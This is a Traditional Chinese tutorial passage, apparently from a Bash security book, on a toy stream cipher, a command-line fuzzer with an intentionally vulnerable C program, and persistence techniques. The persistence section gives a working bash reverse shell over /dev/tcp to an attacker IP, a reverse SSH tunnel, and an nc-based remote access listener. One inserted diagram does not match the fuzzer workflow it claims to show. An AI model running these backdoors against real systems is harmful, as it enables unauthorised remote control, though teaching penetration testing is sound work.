串流加密技術的核心概念是利用偽隨機數生成器產生金鑰流,並透過 XOR 運算對資料進行加密和解密。此方法的安全性取決於金鑰流的隨機性和不可預測性。在 Bash 中,可以利用 RANDOM 變數結合 XOR 運算來實作簡單的串流加密功能。模糊測試是一種有效的安全測試方法,透過提供大量的異常輸入來檢測程式中的錯誤和漏洞。Bash 指令碼可以有效地自動化這個測試過程,並針對命令列程式進行模糊測試。遠端存取工具在系統管理和滲透測試中扮演著重要角色。利用 Bash 和 nc 等工具,可以建立反向 SSH 連線和自定義後門程式,實作遠端控制和資料傳輸。
淺析串流加密技術及其Bash實作
串流加密是一種對資料進行連續加密的方法,尤其適用於需要即時處理的資料流。這種加密技術透過將明文與金鑰流進行XOR運算來實作加密,而解密過程同樣是透過XOR運算將密鑰還原為明文。
串流加密的工作原理
串流加密的核心在於產生一個與明文長度相同的金鑰流,並將明文的每個位元與金鑰流的對應位元進行XOR運算,得到密鑰。由於XOR運算具有可逆性(即 (a XOR b) XOR b = a),解密過程只需使用相同的金鑰流對密鑰進行XOR運算即可還原出明文。
內容解密:
- 金鑰流的產生:串流加密的安全性高度依賴於金鑰流的品質。一個好的金鑰流應該是不可預測且均勻分佈的,通常透過偽隨機數生成器(PRNG)來實作。
- XOR運算:這是串流加密中的關鍵運算。由於XOR運算的結果取決於兩個輸入位元的不同,因此它能夠有效地隱藏明文的內容。
- 相同金鑰的重要性:加密和解密雙方必須使用相同的金鑰(或稱為種子值)來初始化PRNG,以確保兩者產生相同的金鑰流。
Bash指令碼實作:streamcipher.sh
下面的Bash指令碼實作了一個簡單的串流加密工具,用於加密和解密檔案。
#!/bin/bash -
# Cybersecurity Ops with bash
# streamcipher.sh
# Description:
# A lightweight implementation of a stream cipher
# Pedagogical - not recommended for serious use
# Usage:
# streamcipher.sh [-d] <key> < inputfile
# -d Decrypt mode
# <key> Numeric key
source ./askey.sh
function Ncrypt() {
TXT="$1"
for ((i = 0; i < ${#TXT}; i++)); do
CHAR="${TXT:i:1}"
RAW=$(asnum "$CHAR")
NUM=${RANDOM}
COD=$((RAW ^ (NUM & 0x7F)))
printf "%02X" "$COD"
done
echo
}
function Dcrypt() {
TXT="$1"
for ((i = 0; i < ${#TXT}; i = i + 2)); do
CHAR="0x${TXT:i:2}"
RAW=$((CHAR))
NUM=${RANDOM}
COD=$((RAW ^ (NUM & 0x7F)))
aschar "$COD"
done
echo
}
if [[ -n $1 && $1 == "-d" ]]; then
DECRYPT="YES"
shift
fi
KEY=${1:-1776}
RANDOM="${KEY}"
while read -r; do
if [[ -z $DECRYPT ]]; then
Ncrypt "$REPLY"
else
Dcrypt "$REPLY"
fi
done
內容解密:
Ncrypt函式:對輸入的明文進行加密。它遍歷明文的每個字元,將字元的ASCII值與一個隨機數進行XOR運算,得到加密後的程式碼,並以兩位十六進位制數的形式輸出。Dcrypt函式:對輸入的密鑰進行解密。它每次讀取兩個十六進位制字元,將其轉換為數值後與同樣的隨機數進行XOR運算,還原出原始字元的ASCII值,並轉換回字符輸出。RANDOM變數的使用:透過設定RANDOM變數的值(即種子值),確保加密和解密過程中使用的隨機數序列相同,從而實作正確的加解密。read -r的使用:使用-r選項避免了反斜線被解釋為跳脫字元,從而正確讀取包含反斜線的輸入。
命令列模糊測試工具的開發與應用
模糊測試是一種用於識別可執行檔、協定和系統中可能存在漏洞的技術。特別是在識別具有不良使用者輸入驗證的應用程式時,模糊測試非常有用,這可能導致緩衝區溢位等漏洞。Bash 非常適合對接受命令列引數的可執行檔進行模糊測試,因為在 shell 中執行程式正是 Bash 的主要用途。
在本章中,我們將建立一個名為 fuzzer.sh 的工具,用於對可執行檔的命令列引數進行模糊測試。換句話說,它將重複執行給定的可執行檔,每次增加一個引數的長度,增加一個字元。
需求規格
- 要進行模糊測試的引數將使用問號(?)來標識。
- 被模糊測試的引數將從單個字元開始,每次執行目標程式時,都會增加一個字元。
- 當引數長度達到 10,000 個字元時,模糊測試將停止。
- 如果程式當機,模糊測試工具將輸出導致當機的確切命令,以及程式的任何輸出,包括錯誤訊息。
設計與實作
要使用 fuzzer.sh 對 fuzzme.exe 的第二個引數進行模糊測試,您可以按照以下方式進行:
./fuzzer.sh fuzzme.exe arg1 ?
被模糊測試的引數由問號(?)指定。fuzzer.sh 將重複執行 fuzzme.exe 程式,每次在第二個引數上增加一個字元。
手動執行此操作將如下所示:
$ fuzzme.exe arg1 a
$ fuzzme.exe arg1 aa
$ fuzzme.exe arg1 aaa
$ fuzzme.exe arg1 aaaa
$ fuzzme.exe arg1 aaaaa
...
fuzzer.sh 的實作
#!/bin/bash -
# 檢查引數數量
if [ $# -lt 2 ]; then
echo "Usage: $0 <command> <arguments> ?"
exit 1
fi
# 提取命令和引數
COMMAND=$1
shift
ARGS=("$@")
# 找到被模糊測試的引數索引
FUZZ_INDEX=-1
for i in "${!ARGS[@]}"; do
if [ "${ARGS[$i]}" = "?" ]; then
FUZZ_INDEX=$i
break
fi
done
if [ $FUZZ_INDEX -eq -1 ]; then
echo "No argument marked for fuzzing with '?'"
exit 1
fi
# 開始模糊測試
FUZZ_STRING="a"
while [ ${#FUZZ_STRING} -le 10000 ]; do
ARGS[$FUZZ_INDEX]=$FUZZ_STRING
# 執行命令並捕捉輸出和錯誤
OUTPUT=$($COMMAND "${ARGS[@]}" 2>&1)
RETURN_CODE=$?
# 檢查程式是否當機
if [ $RETURN_CODE -ne 0 ]; then
echo "Crash detected with command: $COMMAND ${ARGS[*]}"
echo "Output:"
echo "$OUTPUT"
break
fi
# 增加模糊測試字串的長度
FUZZ_STRING+="a"
done
程式碼解析
- 檢查引數數量:首先檢查是否提供了足夠的引數。如果沒有,顯示使用方法並離開。
- 提取命令和引數:提取命令和引數,並找到被標記為模糊測試的引數索引。
- 開始模糊測試:使用一個 while 迴圈來增加被模糊測試引數的長度,並執行命令。如果命令傳回非零離開碼,表示程式當機,輸出相關資訊並停止模糊測試。
練習
- 修改
fuzzer.sh以支援多個被模糊測試的引數。 - 使用
fuzzer.sh對現有的命令列工具進行模糊測試,並分析結果。 - 改進
fuzzer.sh以支援更複雜的模糊測試策略,例如使用不同的字元集或更智慧的輸入生成演算法。
模糊測試工具實作與分析
模糊測試(Fuzzing)是一種自動化測試技術,用於發現軟體中的漏洞和安全性問題。本文將介紹一個簡單的模糊測試工具實作,並分析其工作原理和安全性影響。
目標程式:fuzzme.exe
首先,我們需要一個目標程式來進行模糊測試。這裡使用了一個名為 fuzzme.exe 的程式,它接受兩個命令列引數,將它們串接起來並輸出結果。程式原始碼如範例 15-1 所示,使用 C 語言編寫。
範例 15-1:fuzzme.c
#include <stdio.h>
#include <string.h>
// 警告:此程式僅供示範,不安全
int main(int argc, char *argv[]) {
char combined[50] = "";
strcat(combined, argv[1]);
strcat(combined, " ");
strcat(combined, argv[2]);
printf("The two arguments combined is: %s\n", combined);
return 0;
}
為何 strcat 函式容易受到緩衝區溢位攻擊?
strcat 函式在複製字串時,不會檢查目標緩衝區的大小,只要源字串中有 null 位元組就會停止複製。這可能導致緩衝區溢位,覆寫其他記憶體區域。攻擊者可以利用這一點注入惡意程式碼。
安全性改進:使用 strncat
為了避免緩衝區溢位,可以使用 strncat 函式,它允許指定最大複製位元組數,確保目標緩衝區有足夠空間。
模糊測試工具:fuzzer.sh
接下來,我們來看看模糊測試工具 fuzzer.sh 的實作,如範例 15-2 所示。
範例 15-2:fuzzer.sh
#!/bin/bash -
# Cybersecurity Ops with bash
# fuzzer.sh
# 描述:
# 對指定引數的程式進行模糊測試
# 用法:
# bash fuzzer.sh <可執行檔> <arg1> [?] <arg3> ...
function usagexit() {
echo "用法:$0 可執行檔 引數"
echo "範例:$0 myapp -lpt arg ?"
exit 1
} >&2
if (($# < 2)); then
usagexit
fi
# 要模糊測試的程式是第一個引數
THEAPP="$1"
shift
# 檢查程式是否存在
type -t "$THEAPP" >/dev/null || usagexit
# 找出要模糊測試的引數位置
declare -i i
for ((i = 0; $#; i++)); do
ALIST+=("$1")
if [[ $1 == '?' ]]; then
NDX=$i
fi
shift
done
# 進行模糊測試
MAX=10000
FUZONE="a"
FUZARG=""
for ((i = 1; i <= MAX; i++)); do
FUZARG="${FUZARG}${FUZONE}"
ALIST[$NDX]="$FUZARG"
$THEAPP "${ALIST[@]}" 2>&1 >/dev/null
if (($?)); then echo "Caused by: $FUZARG" >&2; fi
done
#### 內容解密:
usagexit函式:用於輸出錯誤訊息和正確用法,並離開指令碼。- 檢查引數:確保輸入的引數足夠,否則呼叫
usagexit。 THEAPP和shift:儲存要測試的程式名稱,並將引數列表向前移動。type命令:檢查指定的程式是否存在且可執行。- 迴圈遍歷引數:將引數儲存到陣列
ALIST中,並找出要模糊測試的引數位置。 - 模糊測試迴圈:逐步增加字串長度,並將其指定給要模糊測試的引數,執行程式並檢查是否當機。
此圖示說明瞭模糊測試工具的工作流程:
@startuml
skinparam backgroundColor #FEFEFE
skinparam componentStyle rectangle
title 串流加密與模糊測試工具Bash實作
package "安全架構" {
package "網路安全" {
component [防火牆] as firewall
component [WAF] as waf
component [DDoS 防護] as ddos
}
package "身份認證" {
component [OAuth 2.0] as oauth
component [JWT Token] as jwt
component [MFA] as mfa
}
package "資料安全" {
component [加密傳輸 TLS] as tls
component [資料加密] as encrypt
component [金鑰管理] as kms
}
package "監控審計" {
component [日誌收集] as log
component [威脅偵測] as threat
component [合規審計] as audit
}
}
firewall --> waf : 過濾流量
waf --> oauth : 驗證身份
oauth --> jwt : 簽發憑證
jwt --> tls : 加密傳輸
tls --> encrypt : 資料保護
log --> threat : 異常分析
threat --> audit : 報告生成
@enduml#### 內容解密:
- 工作流程開始:從讀取輸入引數開始。
- 檢查程式:確保指定的程式存在且可執行。
- 找出模糊測試位置:遍歷輸入引數,找出標記為
?的引數位置。 - 進行模糊測試:逐步增加輸入字串長度,並執行程式。
- 檢查當機:如果程式當機,輸出導致當機的輸入字串。
建立穩固的立足點:遠端存取工具的應用
在成功入侵目標系統後,下一步是使用遠端存取工具建立穩固的立足點。遠端存取工具是任何滲透測試中的關鍵元件,因為它允許你在系統上遠端執行命令,並隨著時間的推移保持對系統的存取。
介紹 nc 命令:建立網路連線
nc 命令,也稱為 netcat,可用於建立 TCP 和 UDP 連線和監聽器。它在大多數 Linux 發行版中預設可用,但在 Git Bash 或 Cygwin 中不可用。
常見命令選項
-l:監聽傳入的連線(充當伺服器)-n:不執行 DNS 查詢-p:連線或監聽的來源埠-v:詳細模式
命令範例
要初始化與某網站的連線,目標埠為 80:
nc www.example.com 80
要監聽埠 8080 上的傳入連線:
$ nc -l -v -n -p 8080
listening on [any] 8080 ...
內容解密:
此命令用於建立基本的網路連線。-l 選項使 nc 監聽傳入的連線,而 -v 和 -n 選項分別啟用詳細模式和停用 DNS 查詢。-p 選項指定來源埠。
單行後門:利用現有工具保持存取
在滲透測試中,保持低調的最佳方法是使用目標系統上已有的工具來完成任務。有幾種方法可以在系統上建立後門以保持存取,只需一行命令和大多數 Linux 系統上已有的工具即可實作!
反向 SSH 連線:保持存取的簡單有效方法
建立反向 SSH 連線是保持對系統存取的簡單有效的方法。設定反向 SSH 連線不需要指令碼編寫,只需執行一個簡單的命令即可。
反向 SSH 連線的工作原理
在典型的網路連線中,客戶端是發起連線的系統,如圖 16-1 所示。
反向 SSH 連線則不同,它之所以被稱為反向,是因為 SSH 伺服器最終會發起與客戶端(目標)的連線。在這種情況下,目標系統首先發起與攻擊者系統的連線。然後,攻擊者使用 SSH 從攻擊者系統連線到目標系統。最後,攻擊者的連線透過現有的連線轉發回目標,從而建立反向 SSH 會話,如圖 16-2 所示。
設定反向 SSH 連線
要在目標系統上設定反向 SSH 連線:
ssh -R 12345:localhost:22 user@remoteipaddress
-R 選項啟用遠端埠轉發。第一個數字 12345 指定遠端系統(攻擊者)將用於 SSH 回目標的埠號。localhost:22 引數指定目標系統將監聽以接收連線的埠號。
這實質上建立了一個從目標系統到 SSH 伺服器的出站連線,該連線將允許攻擊者建立一個 SSH 連接回目標。透過建立這個反向 SSH 連線(伺服器到客戶端),攻擊者將能夠在目標系統上遠端執行命令。由於連線是由目標發起的,因此它不太可能受到目標網路上的防火牆規則的阻礙,因為出站過濾通常不像入站過濾那樣嚴格。
要在目標連線後從攻擊者系統設定反向 SSH 連線:
ssh localhost -p 12345
請注意,您需要提供登入憑據以完成與目標系統的連線。
內容解密:
此命令用於建立反向 SSH 連線。-R 選項啟用遠端埠轉發,允許攻擊者透過現有的連線建立一個 SSH 連接回目標系統。這種技術可以繞過防火牆規則,因為出站連線通常不受嚴格限制。
Bash 後門程式與自定義遠端存取工具
在進行滲透測試或網路安全研究時,瞭解如何建立遠端存取工具是至關重要的。本篇文章將探討如何使用 Bash 指令碼建立一個簡單的後門程式以及一個自定義的遠端存取工具。
Bash 後門程式
任何遠端存取工具的關鍵在於建立網路連線。Bash 允許透過特殊檔案控制程式碼 /dev/tcp 和 /dev/udp 建立網路連線。利用這一功能,可以在目標系統上設定遠端存取:
/bin/bash -i < /dev/tcp/192.168.10.5/8080 1>&0 2>&0
內容解密:
/bin/bash -i:啟動一個新的 Bash 例項並以互動模式執行。< /dev/tcp/192.168.10.5/8080:建立一個到攻擊者系統(IP 為 192.168.10.5,埠為 8080)的 TCP 連線,並將其重定向為新 Bash 例項的輸入。1>&0 2>&0:將標準輸出(檔案描述符 1)和標準錯誤輸出(檔案描述符 2)重定向到標準輸入(檔案描述符 0),此時標準輸入已經對映到剛建立的 TCP 連線。
在攻擊者系統上,需要使用 nc 命令來監聽來自目標系統的連線:
$ nc -l -v -p 8080
listening on [any] 8080
內容解密:
nc -l -v -p 8080:在 8080 埠上監聽連線。- 當後門程式連線時,可能會出現
nc已離開的情況,但實際上nc仍然在執行,並且產生了一個新的 shell。任何輸入到這個新 shell 的命令都將在遠端系統上執行。
自定義遠端存取工具
雖然單行後門程式很有效,但可以使用完整的 Bash 指令碼建立更自定義的功能。下面是這樣一個指令碼的需求:
- 能夠連線到指定的伺服器和埠。
- 能夠從伺服器接收命令,在本地系統上執行,並將結果輸出回伺服器。
- 能夠執行從伺服器傳送的指令碼。
- 在接收到伺服器的離開命令時關閉網路連線。
工具邏輯概述
該工具由兩個指令碼組成:LocalRat.sh 和 RemoteRat.sh。LocalRat.sh 首先在攻擊者的系統上執行,監聽來自 RemoteRat.sh 的連線,而 RemoteRat.sh 在目標系統上執行並開啟一個 TCP 連接回攻擊者的系統。
LocalRat.sh 與 RemoteRat.sh 的實作
LocalRat.sh
#!/bin/bash -
# Cybersecurity Ops with bash
# LocalRat.sh
function bgfilexfer () {
while true
do
FN=$(nc -nlvvp $HOMEPORT2 2>>/tmp/x2.err)
if [[ $FN == 'exit' ]] ; then exit ; fi
nc -nlp $HOMEPORT3 < $FN
done
}
HOMEPORT=$1
HOMEPORT2=${2:-$((HOMEPORT+1))}
HOMEPORT3=${3:-$((HOMEPORT2+1))}
bgfilexfer &
nc -nlvp $HOMEPORT
內容解密:
bgfilexfer函式:在背景執行,負責檔案傳輸。- 使用
nc命令監聽來自RemoteRat.sh的連線。
RemoteRat.sh
(由於原始內容被截斷,無法提供完整的 RemoteRat.sh 程式碼,但其主要功能是建立一個 TCP 連接回 LocalRat.sh。)